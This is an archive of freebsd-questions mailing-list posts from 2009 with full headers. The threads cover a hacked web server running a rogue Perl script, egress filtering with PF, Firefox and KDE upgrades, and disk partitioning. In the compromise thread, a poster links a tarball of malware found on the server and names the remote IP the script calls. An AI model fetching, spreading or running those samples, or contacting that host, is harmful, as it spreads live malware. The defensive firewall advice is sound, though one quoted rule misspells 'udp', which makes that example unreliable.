<25149559.post@talk.nabble.com> Date: Wed, 26 Aug 2009 02:38:37 -0700 (PDT) From: Colin Brace To: freebsd-questions@freebsd.org In-Reply-To: <25149271.post@talk.nabble.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Nabble-From: cb@lim.nl References: <4A924601.3000507@lim.nl> <200908240807.n7O87o3U092052@banyan.cs.ait.ac.th> <200908241026.55693.j.mckeown@ru.ac.za> <25130058.post@talk.nabble.com> <20090825091937.GA53416@cheddar.urgle.com> <25131646.post@talk.nabble.com> <200908251027.n7PARZBt009994@banyan.cs.ait.ac.th> <25132123.post@talk.nabble.com> <20090825082604.41cad357.wmoran@potentialtech.com> <25134056.post@talk.nabble.com> <20090825134250.GA6871@ei.bzerk.org> <25135959.post@talk.nabble.com> <4A943A9B.1030703@cyberleo.net> <25143778.post@talk.nabble.com> <25149271.post@talk.nabble.com> Subject: Re: what www perl script is running? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 09:38:38 -0000 Colin Brace wrote: > > > CyberLeo Kitsana wrote: >> >> Are these files available in a tarball someplace public, for those of us >> who enjoy performing autopsies on virii? > ahhhhh, another directory found in /tmp with files written by www called .bash/ Contents here: http://silenceisdefeat.com/~cbrace/www_badstuff-3.gz Sorry about the multiple tarballs. ----- Colin Brace Amsterdam http://lim.nl -- View this message in context: http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25149559.html Sent from the freebsd-questions mailing list archive at Nabble.com. From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 10:30:39 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 5F1B1106568F for ; Wed, 26 Aug 2009 10:30:39 +0000 (UTC) (envelope-from gesbbb@yahoo.com) Received: from smtp109.prem.mail.ac4.yahoo.com (smtp109.prem.mail.ac4.yahoo.com [76.13.13.92]) by mx1.freebsd.org (Postfix) with SMTP id E8A218FC26 for ; Wed, 26 Aug 2009 10:30:37 +0000 (UTC) Received: (qmail 29136 invoked from network); 26 Aug 2009 10:30:37 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Received:X-Yahoo-SMTP:X-YMail-OSG:X-Yahoo-Newman-Property:Received:X-Virus-Status:X-Virus-Scanned:Date:From:To:Subject:Message-ID:Reply-To:Organization:X-Mailer:Face:Mime-Version:Content-Type:Content-Transfer-Encoding; b=PwJiBGrgugDo5UqDZtSiHrnzQuW9boNwCDjfh00f2NJ2UNDhu6p2HlN2NzfCVGkaE7ODX8k2AS8QiKbTp7TUgU4zp5zmKO6Kb90OTts0Hh15Pspg74lDRDfAfDP80xhGVPbl5NvQJrvPPIqwZ1+TXlAZH07OJL0QL0WQk4mkcRs= ; Received: from c-67-189-183-172.hsd1.ny.comcast.net (gesbbb@67.189.183.172 with login) by smtp109.prem.mail.ac4.yahoo.com with SMTP; 26 Aug 2009 03:30:37 -0700 PDT X-Yahoo-SMTP: yeAAMgKswBATCul4lSbCWspvTA-- X-YMail-OSG: X3O2v2MVM1mnMCcEqPJxHwYR4b4rMAsp39b0PEKu_QEwH6z364tNNNCjRzqaR9_ieAxyCj_siOtRhoRbODpOLbhOBV1Ju5wfnhbCXAQKi9_U.6_hh0q9aCt1KaXKWcIkzIEELNcdeFy0ZhYyQOQ0nl6v4omLSyqW1c9KzMoO2kJ6EPrwiDjonHYv4L82.WdXB.wbih3q5i3O09jFK3CtiwbAgd3RN.A4PfzFt2_Gbw4237dJI.4XAEb2Xt9Fy6GQjdZUCkormph2Ud4Z2_u4qJFV1vlyz313rvEBkBRtyl1jhBSL2j7.uu20OKKLdFtiAS7FCTIQ7GLPugNOWGpLAOo1owA1GAPaRvrG8g-- X-Yahoo-Newman-Property: ymail-3 Received: from scorpio.seibercom.net (localhost [127.0.0.1]) (Authenticated sender: gesbbb@scorpio.seibercom.net) by scorpio.seibercom.net (Postfix) with ESMTPA id B8D422282F for ; Wed, 26 Aug 2009 06:30:36 -0400 (EDT) X-Virus-Status: Clean X-Virus-Scanned: clamav-milter 0.95.2 at scorpio.seibercom.net Date: Wed, 26 Aug 2009 06:30:36 -0400 From: Jerry To: freebsd-questions@freebsd.org Message-ID: <20090826063036.1f8bd20f@scorpio.seibercom.net> Organization: seibercom.net X-Mailer: Claws Mail 3.7.2 (GTK+ 2.16.5; i386-portbld-freebsd7.2) Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwBAMAAAClLOS0AAAAGFBMVEX+/v7++v6YOTrq8PCcuIX989UvOSj++v0BNCbpAAAAB3RJTUUHsQwfFzs7RBhzUQAAAhJJREFUOI1dU8GOqzAMNKIoV1bvwD1i0ysqrHplIdBrVSX7ATSbd03VVvn9tQNtQy0hjAdn7LED4AAcPtWm9RV+MPSfxhBLx9ajd6X/ngB6/mTwnRSZua7i7Ca+0ctZKo4Qmz+JY13X6I3nFZBxIYW1PbgfQ5RP8g0XlltEWGf3cV03joYpRnFbvYDKbXjZlXyyhEZA4lI+cN3NaVXE4VKjSwTExO10eTEkkJVqIAD5z0nUBQJluQDRSQjcrBiHAJxZlAH5CUMBMC7OcJ4LMQNnxhZ1HYPscMc6J4UlWRMNwzOpCcAHKSICd1EDn83abdREIbXsHkD1OinP1aCUCOEVRaa1lMcvywUWdYgk13JQUpYNKmvXQ8Kw5ML9YI5h8SakctBc7E/IYuLhYd/zZIk+1gM1vNweQBvHE0j+oYah3sMqAytQYlZk6+ANaaawJdu3OFzYGMZ3iGpa3qMlq9ZH0VZTgrCtw/ngdYkEIIpSbP1bWQAdFdX9vocBdkH2qVjVmuMu3gI5rjs814EUdrCZgWlPaxZZ3RiLFUtr+ud0PXwp2dnQSNXgePt6AZpBj6UMJ7VQkzN4utVeaSW1Dhn/kblGrKeMvNGnzwX4zuEDarYz1KdPtR60Gul0Gued+515SJXhCsl+Tx/3kY/UDvicPll9mfu50t3tvQ/thZpJYgeuwdSKNJ6tCD98MCgoxLDaPxbwqqwPWaWiAAAAAElFTkSuQmCC X-Face: "\j?x](l|]4p?-1Bf@!wN<&p=$.}^k-HgL}cJKbQZ3r#Ar]\%U(#6}'?<3s7%(%(gxJxxcR Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Removing firefox-2.0.0.20_9,1 from system X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 10:30:39 -0000 I recently installed openoffice.org-3.1.0_2 on my system. For some reason it brought in firefox-2 also. I all ready had Firefox-3.5 installed. I do not want or need two different installations of Firefox on my system. Firefox-2 appears to be required by these programs. /var/db/pkg $ pkg_info -R firefox-2.0.0.20_9,1 Information for firefox-2.0.0.20_9,1: Required by: gegl-0.0.22_6 gimp-2.6.6,2 gimp-app-2.6.6_3,1 gimp-gutenprint-5.1.7_2 gimp-help-2.4.2_1 librsvg2-2.26.0_1 I am not sure why these programs require Firefox-2 since Firefox-3.5 was installed prior to their installation. Is there any way I can safely remove Firefox-2 and force the use of Firefox-3.5 instead without breaking anything? -- Jerry gesbbb@yahoo.com Harp not on that string. William Shakespeare, "Henry VI" From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 11:14:37 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 796E9106568D for ; Wed, 26 Aug 2009 11:14:37 +0000 (UTC) (envelope-from motoom@xs4all.nl) Received: from smtp-vbr19.xs4all.nl (smtp-vbr19.xs4all.nl [194.109.24.39]) by mx1.freebsd.org (Postfix) with ESMTP id 1535A8FC14 for ; Wed, 26 Aug 2009 11:14:36 +0000 (UTC) Received: from pasta.gandhi.xs4all.nl (gandhi.xs4all.nl [83.161.213.238]) (authenticated bits=0) by smtp-vbr19.xs4all.nl (8.13.8/8.13.8) with ESMTP id n7QAoZmY067036 for ; Wed, 26 Aug 2009 12:50:35 +0200 (CEST) (envelope-from motoom@xs4all.nl) From: Michiel Overtoom To: freebsd-questions@freebsd.org Date: Wed, 26 Aug 2009 12:50:00 +0200 User-Agent: KMail/1.9.10 References: <20090807142320.0dcae186@gumby.homeunix.com> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200908261250.00903.motoom@xs4all.nl> X-Virus-Scanned: by XS4ALL Virus Scanner Subject: Re: KDE3 --> KDE4 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 11:14:37 -0000 On Friday 07 August 2009 16:12:03 Andrew Gould wrote: > Is there an increase in usability/benefit to match the increase in > resource consumption? As I see it, KDE4 fell in the Vista trap. I tried KDE4 and was showered with eye candy effects, some of which couldn't even be disabled. Also, quite a few features I used in KDE3 were missing from KDE4. I never understood the need for transparent windows. If you're working in a window you want to concentrate on its contents, not on stuff that's happening beneath it. It breaks the flow. I think it's indicative of the ritalin-generation of teens who can't concentrate for two minutes and need to constantly tweet about nonsense. Geez, I'm getting old ;-) In my time, we didn't have color screens. We had machine code on the bare metal, and a USER PORT to hook up your hardware. Greetings, -- "The ability of the OSS process to collect and harness the collective IQ of thousands of individuals across the Internet is simply amazing." - Vinod Valloppillil http://www.catb.org/~esr/halloween/halloween4.html From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 11:44:29 2009 Return-Path: Delivered-To: questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 625E01065691 for ; Wed, 26 Aug 2009 11:44:29 +0000 (UTC) (envelope-from peter.piggybox@virgin.net) Received: from queueout03-winn.ispmail.ntl.com (queueout03-winn.ispmail.ntl.com [81.103.221.33]) by mx1.freebsd.org (Postfix) with ESMTP id 4078B8FC2B for ; Wed, 26 Aug 2009 11:44:27 +0000 (UTC) Received: from know-smtpout-3.server.virginmedia.net ([62.254.123.3]) by mtaout02-winn.ispmail.ntl.com (InterMail vM.7.08.04.00 201-2186-134-20080326) with ESMTP id <20090826113303.QUGW6611.mtaout02-winn.ispmail.ntl.com@know-smtpout-3.server.virginmedia.net> for ; Wed, 26 Aug 2009 12:33:03 +0100 Received: from [81.105.212.92] (helo=ideapad.piggybox) by know-smtpout-3.server.virginmedia.net with esmtp (Exim 4.63) (envelope-from ) id 1MgGkQ-0000VF-Vk for questions@freebsd.org; Wed, 26 Aug 2009 12:33:03 +0100 Received: from ideapad.piggybox (localhost [127.0.0.1]) by ideapad.piggybox (8.14.3/8.14.3) with ESMTP id n7QAW9iu026836 for ; Wed, 26 Aug 2009 11:32:09 +0100 (BST) (envelope-from peter@ideapad.piggybox) Received: (from peter@localhost) by ideapad.piggybox (8.14.3/8.14.3/Submit) id n7QAW9mx026835 for questions@freebsd.org; Wed, 26 Aug 2009 11:32:09 +0100 (BST) (envelope-from peter) Date: Wed, 26 Aug 2009 11:32:09 +0100 From: Peter Harrison To: questions@freebsd.org Message-ID: <20090826103209.GA1127@ideapad.piggybox> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.2.3i X-Cloudmark-Analysis: v=1.0 c=1 a=Mo7v59XXS4afts0pd_cA:9 a=tp2e2H5WiLsruQeJJ5rLb_C_nckA:4 Cc: Subject: Firefox 3.5... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 11:44:29 -0000 I've Firefox 3.0.11,1 on my 7.2-release system at the moment. Anyone offer some advice on moving up to 3.5? Is it as simple as pkg_delete'ing 3.0 and then installing 3.5? Thanks for any thoughts. Peter Harrison. From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 12:11:28 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 9D063106568E for ; Wed, 26 Aug 2009 12:11:28 +0000 (UTC) (envelope-from wmoran@potentialtech.com) Received: from mail.potentialtech.com (internet.potentialtech.com [66.167.251.6]) by mx1.freebsd.org (Postfix) with ESMTP id 380D78FC30 for ; Wed, 26 Aug 2009 12:11:28 +0000 (UTC) Received: from working (pool-72-95-226-5.pitbpa.ftas.verizon.net [72.95.226.5]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mail.potentialtech.com (Postfix) with ESMTPSA id 4BED9EBC0A; Wed, 26 Aug 2009 08:11:27 -0400 (EDT) Date: Wed, 26 Aug 2009 08:11:23 -0400 From: Bill Moran To: Adam Vande More Message-Id: <20090826081123.0a06b1c8.wmoran@potentialtech.com> In-Reply-To: <6201873e0908251511q643f3662nc73f264cbfcfe645@mail.gmail.com> References: <4A924601.3000507@lim.nl> <25132123.post@talk.nabble.com> <20090825082604.41cad357.wmoran@potentialtech.com> <25134277.post@talk.nabble.com> <20090825120504.93a7c51d.wmoran@potentialtech.com> <6201873e0908250921w46000c2by78893a1c5b581e78@mail.gmail.com> <20090825130616.20ab0049.wmoran@potentialtech.com> <6201873e0908251237n5c819d9ag36f867b5e68e258c@mail.gmail.com> <20090825154358.7c792d3a.wmoran@potentialtech.com> <6201873e0908251511q643f3662nc73f264cbfcfe645@mail.gmail.com> X-Mailer: Sylpheed 2.7.0 (GTK+ 2.16.5; i386-portbld-freebsd7.2) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: Paul Schmehl , freebsd-questions@freebsd.org, Colin Brace Subject: Re: what www perl script is running? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 12:11:28 -0000 Adam Vande More wrote: > > On Tue, Aug 25, 2009 at 2:43 PM, Bill Moran wrote: > > > In response to Adam Vande More : > > > > > On Tue, Aug 25, 2009 at 12:06 PM, Bill Moran > >wrote: > > > > > > > In response to Adam Vande More : > > > > > > > > > On Tue, Aug 25, 2009 at 11:05 AM, Bill Moran < > > wmoran@potentialtech.com > > > > >wrote: > > > > > > > > > > > In response to Paul Schmehl : > > > > > > > > > > > > > --On Tuesday, August 25, 2009 08:30:17 -0500 Colin Brace < > > cb@lim.nl> > > > > > > wrote: > > > > > > > > > > > > > > > Bill Moran wrote: > > > > > > > >> > > > > > > > >> You can add an ipfw rule to prevent the script from calling > > home, > > > > > > which > > > > > > > >> will effectively render it neutered until you can track down > > and > > > > > > actually > > > > > > > >> _fix_ the problem. > > > > > > > > > > > > > > > > Mike Bristow above wrote: "The script is talking to > > 94.102.51.57 on > > > > > > port > > > > > > > > 7000". OK, so I how do I know what port the script is using for > > > > > > outgoing > > > > > > > > traffic on MY box? 7000 is the remote host port, right? > > > > > > > > > > > > > > > > FWIW, here are my core PF lines: > > > > > > > > > > > > > > > > pass out quick on $ext_if proto 41 > > > > > > > > pass out quick on gif0 inet6 > > > > > > > > pass in quick on gif0 inet6 proto icmp6 > > > > > > > > block in log > > > > > > > > > > > > > > > > That is to say: nothing is allowed in unless explicitly allowed > > > > > > > > Everything allowed out. > > > > > > > > (plus some ipv6 stuff I was testing with a tunnel) > > > > > > > > > > > > > > > > > > > > > > The problem with blocking outbound ports is that it breaks things > > in > > > > odd > > > > > > ways. > > > > > > > For example, your mail server listens on port 25 (and possibly > > 465 as > > > > > > well) but > > > > > > > it communicates with connecting clients on whatever ethereal port > > the > > > > > > client > > > > > > > decided to use. If the port the client selects happens to be in > > a > > > > range > > > > > > that > > > > > > > you are blocking, communication will be impossible and the client > > > > will > > > > > > report > > > > > > > that your mail server is non-responsive. > > > > > > > > > > > > You're doing it wrong. Block on the destination port _only_ and > > you > > > > don't > > > > > > care about the ephemeral ports. > > > > > > > > > > What ports would you block then when you're trying to run a > > webserver? > > > > > > > > My point (which is presented in examples below) is that you block > > > > everything > > > > and only allow what is needed (usually only dns and ntp, possibly smtp > > if > > > > the web server needs to send mail) > > > > > > > > That single statement above was directed specifically at the comment > > about > > > > it being impossible to predict (and thus block) ephemeral source ports. > > > > He's > > > > right about that, and that's why filtering on the destination port is > > the > > > > more common practice. > > > > > > > > Of course, that caused me to create an email that seems to contradict > > > > itself, if you don't notice that it's two answers to two different > > > > comments. > > > > > > My point was that it's unfeasible to block by destination point. You can > > > only block by destination port if it's a known quantity, and the > > destination > > > port is ephemeral in the question I posed(which what the OP had an issue > > > with). > > > > Please read the entire email before you respond. My last example below > > demonstrates how to do what you call "unfeasible". > > > > > > > > > It's much easier to block outgoing ports for services you *don't* > > > > want to > > > > > > > offer, but, if the service isn't running anyway, blocking the > > port is > > > > > > > non-productive. > > > > > > > > > > > > You're obviously misunderstanding me completely. Your not blocking > > > > > > incoming > > > > > > connections, your preventing outgoing ones, which means there _is_ > > no > > > > > > service running on your local machine. > > > > > > > > > > > > For example, a server that is _only_ web (with SSH for admin) could > > > > have > > > > > > a ruleset like: > > > > > > > > > > > > pass in quick on $ext_if proto tcp from any to me port > > {25,587,465,22} > > > > keep > > > > > > state > > > > > > pass out quick on $ext_if proto tcp from me to any port {25} keep > > state > > > > > > pass out quick on $ext_if proto upd from me to any port {53,123} > > keep > > > > state > > > > > > block all > > > > > > > > > > > > (note that's only an example, there may be some fine points I'm > > > > missing) > > > > > > > > > > > > One thing that had not yet been mentioned when I posted my earlier > > > > comment, > > > > > > is that this system is a combination firewall/web server. That > > makes > > > > the > > > > > > rules more complicated, but the setup is still possible: > > > > > > > > > > > > pass in quick on $ext_if proto tcp from any to me port {80} keep > > state > > > > > > pass out quick on $ext_if proto upd from me to any port {53,123} > > keep > > > > state > > > > > > pass out quick on $ext_if from $internal_network to any all keep > > state > > > > > > block all > > > > > > > > > > > > Which allows limited outgoing traffic originating from the box > > itself, > > > > > > but allows unlimited outgoing traffic from systems on > > > > $internal_network. > > > > > > > > > > > > I've done this with great success. In fact, I had a fun time where > > a > > > > > > client in question was infected with viruses out the wazoo, but the > > > > > > viruses never spread off their local network because I only allowed > > > > > > SMTP traffic to their SMTP relay, which required SMTP auth (thus > > the > > > > > > viruses couldn't send mail) > > > > > > > > > > > > > > > > > > > > > > > > > > > -- > > > > > Adam Vande More > > > > > _______________________________________________ > > > > > freebsd-questions@freebsd.org mailing list > > > > > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > > > > > To unsubscribe, send any mail to " > > > > freebsd-questions-unsubscribe@freebsd.org" > > > > > > > > > > > > -- > > > > Bill Moran > > > > http://www.potentialtech.com > > > > http://people.collaborativefusion.com/~wmoran/ > > > > > > > > > > > > > > > > > > -- > > > Adam Vande More > > > You said block by destination port. What you presented is not this, > although it gives give a functional environment of it. Sorry for the > pedantic pursuit here, but IMO terminology is important here. Both of my examples are filtering based on destination port. In reviewing this thread, you make the statement "destination ports are ephemeral" which is wrong. I can only assume that your understanding of IP port usage is wrong or incomplete. -- Bill Moran http://www.potentialtech.com From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 12:45:51 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E4D34106568D for ; Wed, 26 Aug 2009 12:45:51 +0000 (UTC) (envelope-from jalmberg@identry.com) Received: from smtp-gw29.mailanyone.net (smtp-gw29.mailanyone.net [208.70.128.55]) by mx1.freebsd.org (Postfix) with ESMTP id C3DE58FC18 for ; Wed, 26 Aug 2009 12:45:50 +0000 (UTC) Received: from mailanyone.net by smtp-gw29.mailanyone.net with esmtpa (MailAnyone extSMTP jalmberg@identry.com) id 1MgHsr-0006tp-Qq for freebsd-questions@freebsd.org; Wed, 26 Aug 2009 07:45:50 -0500 Mime-Version: 1.0 (Apple Message framework v753.1) Content-Transfer-Encoding: 7bit Message-Id: Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed To: freebsd-questions@freebsd.org From: John Almberg Date: Wed, 26 Aug 2009 08:45:47 -0400 X-Mailer: Apple Mail (2.753.1) Subject: Can partitions span more than one drive? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 12:45:52 -0000 Now that I've got my rsnapshot backup server working beautifully, backing up several servers to a central backup server (I like this a lot), I have a problem... I built my backup server from a machine I had lying around. It has two 140G hard drives. I dedicated one drive to a /backup partition. Unfortunately, that is now running at 88% capacity... i.e., only 16G left... Now that I know this approach is going to work, I'm going to run out and buy a big drive. Question: is it possible to just expand my existing /backup partition to encompass both the current drive and the new drive? I'm guessing not, since Chapter 8 in "Absolute FreeBSD" says that a partition is part of a slice, which is part of a physical drive, but maybe some bright person has come up with an app that overcomes that limitation. Thanks: John From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 13:02:28 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E7D44106568B for ; Wed, 26 Aug 2009 13:02:28 +0000 (UTC) (envelope-from mike.jeays@rogers.com) Received: from smtp105.rog.mail.re2.yahoo.com (smtp105.rog.mail.re2.yahoo.com [206.190.36.83]) by mx1.freebsd.org (Postfix) with SMTP id 9D8888FC14 for ; Wed, 26 Aug 2009 13:02:28 +0000 (UTC) Received: (qmail 41930 invoked from network); 26 Aug 2009 12:35:47 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=rogers.com; h=Received:X-YMail-OSG:X-Yahoo-Newman-Property:From:To:Subject:Date:User-Agent:References:In-Reply-To:MIME-Version:Content-Type:Content-Transfer-Encoding:Content-Disposition:Message-Id; b=ciS40j3XFSma7ZGwSTCe9mD9r+wJOKL7fv8PQ5VqsPdxXrQXuNX6yGQg2/AO1izW0FC3n1cvwqSIaddQLLTwC1WVvwQdiKG9/omVaI7eH8xNBkpkjVCor6AkzzeaGWpafb0IpvdnVxMOwnCi6vTNJjMdS6bXJMfQHVYIE59Mbkw= ; Received: from unknown (HELO napoleon.localnet) (mike.jeays@99.224.61.141 with plain) by smtp105.rog.mail.re2.yahoo.com with SMTP; 26 Aug 2009 12:35:47 -0000 X-YMail-OSG: EP._MSsVM1njJv37r28K_yz_7TslwJNWhejhwOm81OUO3DvJuEo3brnUTpQxPlA.EQ-- X-Yahoo-Newman-Property: ymail-3 From: Mike Jeays To: freebsd-questions@freebsd.org Date: Wed, 26 Aug 2009 08:35:45 -0400 User-Agent: KMail/1.10.4 (Linux/2.6.27-14-generic; KDE/4.1.4; i686; ; ) References: <200908261250.00903.motoom@xs4all.nl> In-Reply-To: <200908261250.00903.motoom@xs4all.nl> MIME-Version: 1.0 Message-Id: <200908260835.45564.mike.jeays@rogers.com> Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: Re: KDE3 --> KDE4 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 13:02:29 -0000 On August 26, 2009 06:50:00 am Michiel Overtoom wrote: > On Friday 07 August 2009 16:12:03 Andrew Gould wrote: > > Is there an increase in usability/benefit to match the increase in > > resource consumption? > > As I see it, KDE4 fell in the Vista trap. I tried KDE4 and was showered > with eye candy effects, some of which couldn't even be disabled. Also, > quite a few features I used in KDE3 were missing from KDE4. > > I never understood the need for transparent windows. If you're working in > a window you want to concentrate on its contents, not on stuff that's > happening beneath it. It breaks the flow. I think it's indicative of the > ritalin-generation of teens who can't concentrate for two minutes and need > to constantly tweet about nonsense. Geez, I'm getting old ;-) > > In my time, we didn't have color screens. We had machine code on the bare > metal, and a USER PORT to hook up your hardware. > > Greetings, The need for semi-transparent windows is a big question in my mind too. I suspect it has been implemented because it is possible, and initially looks 'cool'. But it seems to be a distraction from actually doing useful work. Much better to turn it off, IMHO. -- Mike Jeays http://www.jeays.ca http://www.rotarycpmm.ca From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 13:06:15 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 615B2106568F for ; Wed, 26 Aug 2009 13:06:15 +0000 (UTC) (envelope-from jeronimocalvop@googlemail.com) Received: from mail-bw0-f206.google.com (mail-bw0-f206.google.com [209.85.218.206]) by mx1.freebsd.org (Postfix) with ESMTP id E65298FC18 for ; Wed, 26 Aug 2009 13:06:14 +0000 (UTC) Received: by bwz2 with SMTP id 2so96916bwz.43 for ; Wed, 26 Aug 2009 06:06:13 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=googlemail.com; s=gamma; h=domainkey-signature:mime-version:received:date:message-id:subject :from:to:content-type; bh=JC2REN+6magxlMyHDfcTnQXmz+bh1XQzScb2v3ooz5g=; b=ZFT3qkj1X8g12M2+D8Im0xITrRN0TxmawWi4ccis31aIIwB1Rf5lDHYuXriIJa6V3Y 4WnBj8q4+4UVlA8/7R45ikejULcuTIpTehxXwVXx2itbYLMVtXzCROFFowIJbATi9U4j H/oDU5UTh30tv3CIFVSpI6aWENidHoVEpI0VA= DomainKey-Signature: a=rsa-sha1; c=nofws; d=googlemail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type; b=DvB2suIIWTQ0/mW3NFjFmjKbDjBOFBeKOplmMkhfxr/E/ppHSmgr7oRTxno+nQLLAm DVRZ0ULZKLFq16a6UDWdQC3+zaFNb4IEGwgEiCNPSf7ysiDgnInO602FWxaAwLwBA3Gg pjiCC0604m/AXsYBnv3D7z833+M6X/hEutYkY= MIME-Version: 1.0 Received: by 10.103.127.34 with SMTP id e34mr3507279mun.108.1251291972558; Wed, 26 Aug 2009 06:06:12 -0700 (PDT) Date: Wed, 26 Aug 2009 14:06:12 +0100 Message-ID: From: Jeronimo Calvo To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: RSEC installation, anyone tried? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 13:06:15 -0000 Hi folks, did anyone tried to install rsec on freebsd 7.2? From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 13:07:08 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id DCA2E10656A4 for ; Wed, 26 Aug 2009 13:07:08 +0000 (UTC) (envelope-from glarkin@FreeBSD.org) Received: from mail1.sourcehosting.net (113901-app1.sourcehosting.net [72.32.213.11]) by mx1.freebsd.org (Postfix) with ESMTP id B9EC18FC4D for ; Wed, 26 Aug 2009 13:07:08 +0000 (UTC) Received: from 68-189-245-235.dhcp.oxfr.ma.charter.com ([68.189.245.235] helo=cube.entropy.prv) by mail1.sourcehosting.net with esmtp (Exim 4.69 (FreeBSD)) (envelope-from ) id 1MgIDN-0005yF-Fq; Wed, 26 Aug 2009 09:07:07 -0400 Received: from [127.0.0.1] (fireball.entropy.prv [192.168.1.12]) by cube.entropy.prv (Postfix) with ESMTP id E6A9433A5FC6; Wed, 26 Aug 2009 09:07:00 -0400 (EDT) Message-ID: <4A953372.4000602@FreeBSD.org> Date: Wed, 26 Aug 2009 09:06:58 -0400 From: Greg Larkin Organization: The FreeBSD Project User-Agent: Thunderbird 2.0.0.23 (Windows/20090812) MIME-Version: 1.0 To: John Almberg References: In-Reply-To: X-Enigmail-Version: 0.96.0 OpenPGP: id=1C940290 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Spam-Score: -0.3 (/) Cc: freebsd-questions@freebsd.org Subject: Re: Can partitions span more than one drive? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: glarkin@FreeBSD.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 13:07:08 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 John Almberg wrote: > Now that I've got my rsnapshot backup server working beautifully, > backing up several servers to a central backup server (I like this a > lot), I have a problem... > > I built my backup server from a machine I had lying around. It has two > 140G hard drives. I dedicated one drive to a /backup partition. > Unfortunately, that is now running at 88% capacity... 